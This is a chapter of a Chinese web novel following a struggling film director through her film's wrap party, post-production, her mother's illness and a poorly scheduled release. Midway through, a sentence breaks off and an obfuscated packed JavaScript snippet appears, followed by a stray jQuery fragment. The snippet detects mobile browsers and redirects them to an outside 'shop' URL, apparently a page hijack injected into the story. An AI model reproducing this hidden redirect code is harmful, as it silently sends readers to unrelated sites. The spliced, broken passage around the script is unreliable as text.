沙漠的风沙还粘在衣角，《荒原之诗》的杀青宴，就摆在北京郊区一间不起眼的小餐馆里。十五个人挤在唯一的大圆桌上，塑料桌布上印着褪色的花纹，餐盘是掉了边的白瓷碗，菜不过是糖醋里脊、麻婆豆腐、番茄炒蛋几样家常菜，却被吃得干干净净。沈小鱼举起手里的玻璃杯，里面晃着深褐色的可乐——自从母亲病重，她就戒了酒，每一分钱都要掰着花。
“三个月，谢谢大家。”她的声音比在沙漠时更哑，却透着掩不住的轻快，眼底映着桌上的暖光，“没让大家吃好住好，还跟着我受了那么多苦，我……”
“沈导！”周小雨猛地站起来，眼眶通红，眼泪掉得砸在餐盘里，“该说谢谢的是我们！我以前总想着靠流量出道，拍烂戏赚快钱，是您让我知道，演员该拍什么，该坚守什么。如果不是您，我早就被经纪公司逼着转行了。”她举起杯子，声音坚定，“我以可乐代酒，敬您！敬《荒原之诗》！”
其他人纷纷举杯，杯沿碰撞的脆响，在小餐馆里格外清晰。张磊挠了挠头，不好意思地笑：“以前我还偷偷抱怨苦，想跑路，现在才知道，这三个月，是我这辈子最踏实的日子。”场务大哥也跟着说：“沈总，以后您拍什么，我们都跟着您干！”
陆青然坐在角落，手指攥着玻璃杯，指节泛白，一直没说话。等喧闹渐渐平息，他才慢慢站起来，身体控制不住地发抖，声音带着哽咽：“我以前觉得，编剧就是坐在电脑前写字的，写的是别人的故事，跟自己没关系。但这三个月，在沙漠里看小雨姐赤脚跑戏，看沈导踩烫沙教我们演戏，看大家省一口水给彼此……我明白了。”
他抬眼看向沈小鱼，眼底满是滚烫的光：“编剧写的不是字，是命。是林野的命，是我自己的命。沈导给我的不是稿费，不是工作，是重生——您帮我把我妈接到北京治病，给她找最好的医生，让我能靠写字养活家人，让我敢相信，我不是废物，我有未来。”他深深鞠了一躬，脊背弯得很低，“谢谢您，沈导，救了我，救了我的家。”
沈小鱼走过去，轻轻扶起他，指尖触到他颤抖的肩膀，语气柔和却坚定：“是你自己不肯放弃，是你自己救了自己。”她转身看向所有人，目光扫过每一张疲惫却明亮的脸：“这部电影，不管最后票房多少，不管业内怎么骂，怎么嘲笑，在我心里，它已经赢了。因为它让我们这群陌生人聚在一起，让我们相信，有些事，哪怕看不到希望，也值得拼尽全力。”
宴席散场时，已经是深夜。沈小鱼拒绝了大家送她的提议，独自坐公交回家——她和父母租的两居室，在老小区的六楼，没有电梯，却被收拾得干干净净。一推开门，满屋子都是中药味，父亲正蹲在厨房门口，小心翼翼地熬着药，火苗舔着药罐，发出咕嘟咕嘟的轻响。母亲坐在轮椅上，靠着沙发，正盯着电视屏幕，眼神却有些涣散。
“妈，我回来了。”沈小鱼放轻脚步走过去，蹲在轮椅旁，握住母亲枯瘦的手。母亲的手很凉，指节有些僵硬，她慢慢转过头，看清是沈小鱼，眼底立刻泛起笑意，粗糙的掌心轻轻抚摸着她的脸颊：“小鱼，可算回来了。又瘦了，黑了，在沙漠里肯定吃了不少苦。”
“不苦。”沈小鱼笑着蹭了蹭母亲的掌心，“大家都陪着我，很开心。”是真的开心——那种抛开资本算计、抛开行业纷争，纯粹为了一部戏、一个目标拼命的开心，是她入行三年来，最踏实的快乐。可这份快乐，在看到母亲苍白的脸、闻到满屋子的药味时，瞬间被现实压得沉甸甸的。
杀青只是开始，后期制作才是烧钱的大头。严华投的五百万，在沙漠拍摄时就耗得差不多了——租车、买胶片、补给水和物资、演员的微薄补贴，每一笔都要花钱。剪辑、配乐、调色、混音、做字幕……每一项都需要专业团队，每一项都价格不菲。
接下来的一个月，沈小鱼又开始了跑投资的日子。她穿着洗得发白的西装，踩着磨平鞋跟的高跟鞋，每天穿梭在各大写字楼里，见资方，递成片，讲剧本，却一次次被拒绝。有人直接把她赶出门：“沈小鱼？行业公敌也敢来要投资？我们可不想被五大平台封杀！”有人假意敷衍，实则羞辱：“文艺片？还想赚钱？你还是先想想怎么把你妈医药费凑齐吧！”
五大平台的人更是故意刁难，她去见一家影视公司的老总时，恰好碰到芒厂总裁李娟，对方端着咖啡，居高临下地看着她：“沈小鱼，别折腾了。《荒原之诗》就算拍出来，也没人让它上映。你斗不过我们的。”
沈小鱼没说话，只是握紧了手里的成片U盘，转身就走。她知道，李娟说的是实话，但她不甘心。
就在她走投无路时，徐燃的电话打了过来。“沈老师，我顶着股东压力，又凑了两百万。”他的声音疲惫不堪，带着掩饰不住的沙哑，“这是火花TV最后的钱了，也是我能拿出的全部。如果这两百万还不够，我……我也撑不住了。”
沈小鱼握着手机，指尖发抖。她知道，徐燃为了这部电影，赌上了自己的职业生涯——火花TV的股东早就不满他力挺自己，几次逼宫要他辞职。“够了。”她声音沙哑，“徐总，谢谢你，够了。”
后期制作的四个月，沈小鱼几乎住在了剪辑室里。那间不足十平米的小房间，堆着满满的硬盘和泡面桶，窗帘常年拉着，只有电脑屏幕的光，照亮她熬红的眼睛。她和剪辑师一起，一帧一帧地磨画面，一句一句地调台词，常常熬到天亮，趴在桌上睡两三个小时，醒了继续干。
陆青然也全程跟着，他没学过后期，就抱着书自学剪辑、配乐，每天泡在音乐库的免费素材里，一点点拼凑出电影的配乐。李强、阿斌和小武，则在外面接零活——白天去工地搬砖，晚上去小区当保安，凌晨送快递，挣的钱皱巴巴的，却一分不少地交给沈小鱼。
“沈总，这是今天搬砖挣的三百块。”李强抹了把脸上的灰，把钱塞进她手里，“您别省着花，后期要是不够，我们再去多接几份活。”阿斌也跟着说：“对，我们年轻，扛得住！”
沈小鱼看着手里皱巴巴的零钱，眼眶通红。她把钱一张一张抚平，放进铁盒子里，那里面装着的，是所有人的希望。有一次，她熬到低血糖晕倒，醒来时，陆青然正给她递糖水，剪辑师在旁边继续调画面，李强端着刚买的包子走进来——那一刻，她觉得，所有的苦，都值了。
终于，四个月后，《荒原之诗》成片出炉。第一次内部试映，在火花TV旗下一间小小的放映厅里，观众只有七个人：严华、徐燃、李强、阿斌、小武、陆青然，还有沈小鱼。
灯光暗下，银幕亮起。腾格里沙漠的朝阳、滚烫的黄沙、周小雨赤脚奔跑的身影、陆青然笔下“听见颜色”的画、林野在海市蜃楼里看见父亲的眼神……九十三分钟里，没有一个人说话，没有一个人起身，连呼吸都放得极轻。
片尾字幕滚完，背景音乐渐渐消散，灯光缓缓亮起。严华第一个站起来，用力鼓掌，掌声在空旷的放映厅里格外响亮。紧接着，徐燃、李强、陆青然……所有人都站起来，掌声越来越响，带着压抑了七个月的情绪，带着无法言说的激动。
陆青然哭得像个孩子，肩膀剧烈颤抖；徐燃别过头，用力抹了把眼睛，却还是有眼泪掉下来；李强梗着脖子，说“沙子进眼睛了”，手却攥得紧紧的。严华走到沈小鱼面前，看着她熬红的眼睛、眼下的乌青，看了很久，才开口，声音带着一丝不易察觉的哽咽：“小鱼，你做到了。这才是电影该有的样子，有骨头，有温度，有让人记一辈子的真诚。”
就这一句话，沈小鱼憋了七个月的眼泪，瞬间决堤。她蹲在地上，双手捂住脸，哭得浑身发抖。为沙漠里的缺水断粮，为跑投资时的羞辱刁难，为后期制作的日夜煎熬，为所有相信她的人，也为自己——终于没有让他们失望。
可上映的路，比想象中更难。没有宣发费，没钱做路演，没钱请明星站台，甚至没钱印海报。火花TV动用了全部资源，硬生生从拥挤的国庆档里，抢下了百分之三的排片——全是上午十点、晚上十点的非黄金时段，影院的海报被贴在最角落，被商业大片的宣传画挡得严严实实。
同期上映的，有林薇薇主演的商业大片《星光盛宴》，有好莱坞特效巨制，还有国民级动画电影，每一部都拿着上亿的宣发费，排片占
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970750|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比超过百分之二十。《荒原之诗》像一粒微不足道的沙子，被扔进汹涌的大海，连一点浪花都掀不起来。
上映前一天晚上，沈小鱼正在剪辑室核对最后一版字幕，父亲的电话突然打了过来，声音慌乱：“小鱼！快回来！你妈突然晕倒了，救护车已经往医院送了！”
沈小鱼脑子“嗡”的一声，手里的鼠标掉在地上。她抓起包，疯了一样冲出剪辑室，打车赶往医院。急诊室的红灯亮了很久，直到凌晨三点，医生才走出来，脸色凝重：“病人病情复发，肾功能恶化，必须立刻做化疗，后续还要准备肾移植，你们尽快凑钱，做好心理准备。”
沈小鱼坐在医院走廊的长椅上，冰冷的瓷砖贴着后背，让她打了个寒颤。走廊里灯光惨白，空无一人，只有消毒水的味道，刺鼻又绝望。她看着急诊室紧闭的门，又摸出手机——屏幕上是《荒原之诗》的上映倒计时：还有三小时。
徐燃的电话打了过来，声音带着期待：“沈老师，首映场的票卖出去十几张了！您什么时候过来？大家都等着您呢。”
沈小鱼深吸一口气，压下喉咙里的哽咽：“我不去了。我在医院陪我妈化疗。”
“可是……”徐燃还想劝。
“徐总，”沈小鱼打断他，声音坚定，“戏可以少一个导演站台，但我妈不能少一个女儿。如果一部电影，需要导演放弃家人才能被看见，那它不配。”
徐燃沉默了很久，才轻声说：“好。我懂了。沈老师，你照顾好阿姨，这边有我。”
“谢谢。”
挂了电话，沈小鱼靠在墙上，闭上眼睛。天快亮时，母亲被推进了化疗室。她坐在走廊的长椅上，手里紧紧攥着手机，每隔十分钟，就刷新一次购票软件——《荒原之诗》的上座率，一点点在涨。
上午十点，首映场上座率：百分之十二。
下午两点，上座率：百分之十八。
下午六点，上座率：百分之二十二。
晚上十点，最后一场，上座率：百分之三十。
第一天总票房：八十七万。
这个数字，在国庆档里，连零头都算不上。全网都是嘲笑的声音，#沈小鱼八十七万票房#的词条被顶上热搜，五大平台的账号带头嘲讽：“行业公敌的自不量力，文艺片的垂死挣扎。”“八十七万，不够林薇薇一天的片酬，脸疼吗？”“火花TV要凉了，徐燃赌输了！”
沈小鱼刷着这些评论，脸上没有任何表情。母亲化疗结束，被推回病房，已经睡着了，呼吸平稳。她给母亲掖好被角，轻轻走出病房，坐在走廊的长椅上。手机震动，是陆青然发来的消息：“沈老师，对不起，是我剧本写得不好，才没人看……我是不是很没用？”
沈小鱼指尖飞快地回复：“不是你的问题，是你写得太好，好到这个被流量裹挟的时代，暂时配不上它。”
她又给徐燃发消息：“徐总，辛苦了。八十七万，很好了。”
徐燃很快回复：“不辛苦。明天继续。我已经联系了几家小众影院，他们愿意加排片。”
沈小鱼看着屏幕，眼眶一热。她知道，徐燃是在硬撑，那些小众影院的排片，是他磨了无数次才换来的。她打开微博，很久没有更新的账号，发了一条动态：“《荒原之诗》，今日上映。献给所有在荒原上行走的人，献给所有在黑暗里坚守的人。你看，天快亮了。”
配图，是她在沙漠里拍的朝阳——金色的阳光洒在沙丘上，照亮了漫天风沙，也照亮了一株倔强生长的野草。
发完微博，她关掉手机，走回病房，坐在母亲床边，握住母亲冰凉的手。窗外，夜色正浓，城市的灯火透过玻璃照进来，微弱却温暖。她知道，天总会亮的。
只是她没看到，微博发送后，越来越多的观众开始留言——“上午看了，哭了整整一包纸，这才是好电影！”“零宣发刷到的，太戳人了，已经二刷！”“求加排片！想带爸妈去看！”
更没看到，五大平台的会议室里，李娟看着电脑屏幕上的留言，脸色铁青：“立刻联系影院，撤掉《荒原之诗》的所有排片！不能让它起来！”